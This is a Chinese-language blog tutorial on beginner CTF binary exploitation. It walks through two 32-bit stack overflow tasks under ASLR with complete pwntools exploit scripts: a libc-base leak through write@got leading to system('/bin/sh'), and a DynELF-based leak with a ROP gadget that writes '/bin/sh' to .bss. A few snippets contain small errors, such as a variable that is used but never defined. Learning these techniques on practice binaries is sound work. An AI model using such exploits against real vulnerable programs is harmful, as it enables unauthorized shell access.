pwn溢出入门案例二

文章最后更新时间为:2019年05月24日 20:27:05

上篇文章中,记录了pwn溢出的三个案例。分别记录了开启nx和canary保护的利用方法,但是三个题目都是基于关闭ASLR的情况下,实际情况下谁会没事去关闭ASLR呢?pwn案例二就来记录一下开启了地址随机化之后的pwn溢出利用情况。

0x01 第四题

源码还是和前两题一样。

#include <stdio.h>
#include <unistd.h>
void readbuf()
{
    char buffer[100];
    read(0, buffer, 200);
}
int main(int argc, char *argv[])
{
    readbuf();
    write(1, "Hello, PWN!\n", 12);
    return 0;
}

我们不关闭ASLR来进行编译,为了简化情况,这里只开启nx保护。

可以看出加载的libc的基址每次都在变化,这样我们也就不能直接找system的地址,因为这是这地址每次运行都在变化。

我们可以在溢出时调用函数找到libc的基地址,通过基地址就可以找到system和"/bin/sh"的虚拟地址,并且返回地址继续返回到readbuf函数中,然后再溢出到system地址中。

直接看代码:

from pwn import *
pwn4 = ELF('pwn4')
proc = process('./pwn4')

leak_payload = "A"*112 + p32(pwn4.symbols['write'])+p32(pwn4.symbols['readbuf'])+p32(1)+p32(pwn4.got['write'])+p32(4)
# 溢出到write函数,传入三个参数,读取出write的虚拟地址,返回地址设置为readbuf地址,执行完会再次进入readbuf函数中
# pwn4.symbols['write']代表write的函数地址,相当于偏移地址
# pwn4.got['write'] 代表write在got表中的地址

proc.send(leak_payload)
write_va = u32(proc.recv(4))
print "write va:" + hex(write_va)
libc_load_base = write_va - libc.symbols['write']# 基地址相当于write虚拟地址-偏移地址
print "libc_load_base:" + hex(libc_load_base)

找到libc的基地址之后,我们就可以找到system和binsh的地址

libc = ELF('libc.so.6')
system = libc_load_base + libc.symbols['system']
# 虚拟地址 = 基地址+偏移地址
print "system va: " + hex(system)
binsh = libc_load_base + next(libc.search('/bin/sh'))
print '/bin/sh:' + hex(binsh)

最后就可以构造最后的payload了:

shell_payload = "A"*112 + p32(system) + p32(1) + p32(binsh)
proc.send(shell_payload)
proc.interactive()

完整的exp:

from pwn import *

pwn4 = ELF('pwn4')
libc = ELF('libc.so.6')
proc = process('./pwn4')

leak_payload = "A"*112 + p32(pwn4.symbols['write'])+p32(pwn4.symbols['readbuf'])+p32(1)+p32(pwn4.got['write'])+p32(4)

proc.send(leak_payload)

write_va = u32(proc.recv(4))

print "write va:" + hex(write_va)

libc_load_base = write_va - libc.symbols['write']

print "libc_load_base:" + hex(libc_load_base)

system = libc_load_base + libc.symbols['system']

print "system va: " + hex(system)

binsh = libc_load_base + next(libc.search('/bin/sh'))

print '/bin/sh:' + hex(binsh)

shell_payload = "A"*112 + p32(system) + p32(1) + p32(binsh)

proc.send(shell_payload)

proc.interactive()

0x02 第五题

在上面的题目中,我们可以很轻松的找到libc的基地址,通过基地址找到systme的地址和"/bin/sh"的虚拟地址。但是在很多种情况下,题目是不给我们libc文件的,这个时候,不利用libc中,我们还可以怎么利用呢?

第五题,就是不用本地libc文件,来实现溢出。

pwn题的无libc泄露用到的pwntools的DynELF模块,实现条件是:

  • 目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;
  • 目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息。

关于DynELF的用法可参考文章:https://www.anquanke.com/post/id/85129

构造的框架一般如下:

p = process('./xxx')
def leak(address):
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  return data
d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块 
systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地址

在这个题目中,我们还是利用write函数来泄露地址:

from pwn import *
import time
pwn5 = ELF('pwn5')
proc = process('./pwn5')

readbuf = 0x804843b

def leak(addr):
    leak_payload = "a"*112 + p32(pwn5.symbols['write'])+p32(readbuf)+p32(1)+p32(addr)+p32(4)
    proc.send(leak_payload)
    data = proc.recv(4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data

这段函数能从内存中address处dump出4字节数据,函数执行结束后会返回readbuf函数重新执行,也就是说利用这个函数,我们可以dump出整个libc。

接下来使用DynELF模块查找system函数地址:

dyn = DynELF(leak_fun, elf=pwn5)
system = dyn.lookup('system', 'libc')

获取到system地址后便可以构造system("/bin/sh");攻击程序。由于程序中没有/bin/sh这个字符串,我们可以用read函数先它写入内存中一个固定的位置,然后再执行system函数。

bss段在内存中的位置是固定的,所以可以将/bin/sh写到bss段中(也可以写到其他地方,应该只要不是readonly的地址都可以):

上图用ida看到了bss节的地址,接下来我们用read函数写"/bin/sh"到这里:

bss = 0x0804A020
binsh_str = "/bin/sh\0"

binsh_payload = "a"*112 + p32(pwn5.symbols['read']) + p32(readbuf) + p32(0) + p32(bss) + p32(len(binsh_str)) 

proc.send(binsh_payload)
time.sleep(0.5)
proc.send(binsh_str)

利用传递三个参数给read函数,将接受的输入写进p32(bss)地址中,返回地址还是写readbuf,又会继续运行readbuf。看起来很完美,但是上面代码还有问题,我们构造的read函数有3个参数,这3个参数和read函数的返回地址不同,返回地址在ret指令执行时被pop出栈,但是这3个参数却还留在栈中,没有被弹出栈。

所以我们需要找一个连续pop三个寄存器的指令来平衡堆栈。这种指令很容易找到,直接通过ida,也可以用objdump,如下:

我们找到一个地方,三个pop一个ret。ret后会继续执行我们的函数,形如这样的一串汇编指令也叫作gadgets,在ROP攻击中利用很广泛。gadgets散落在程序汇编代码的各个角落,当程序的代码很长的时候,寻找gadgets就会变得很复杂,还有专门的工具来帮助寻找,比如ROPgadgets。

所以我们将以上代码修改为:

gadget_pppr = 0x080484F9
binsh_payload = "a"*112 + p32(pwn5.symbols['read']) + p32(gadget_pppr) + p32(0) + p32(bss) + p32(len(binsh_str)) + p32(readbuf)

最后构造shell_payload即可,完整的代码如下:

from pwn import *
import time
pwn5 = ELF('pwn5')
proc = process('./pwn5')

readbuf = 0x804843b

def leak_fun(addr):
    leak_payload = "a"*112 + p32(pwn5.symbols['write'])+p32(readbuf)+p32(1)+p32(addr)+p32(4)
    proc.send(leak_payload)
    return proc.recv(4)

dyn = DynELF(leak_fun, elf=pwn5)
system = dyn.lookup('system', 'libc')

bss = 0x0804A020
gadget_pppr = 0x080484F9

binsh_str = "/bin/sh\0"

binsh_payload = "a"*112 + p32(pwn5.symbols['read']) + p32(gadget_pppr) + p32(0) + p32(bss) + p32(len(binsh_str)) + p32(readbuf)

proc.send(binsh_payload)

time.sleep(0.5)

proc.send(binsh_str)

shell_payload = "A"*112+ p32(system)+p32(0xdeadbeef)+p32(bss)

proc.send(shell_payload)

proc.interactive()

1 + 4 =
快来做第一个评论的人吧~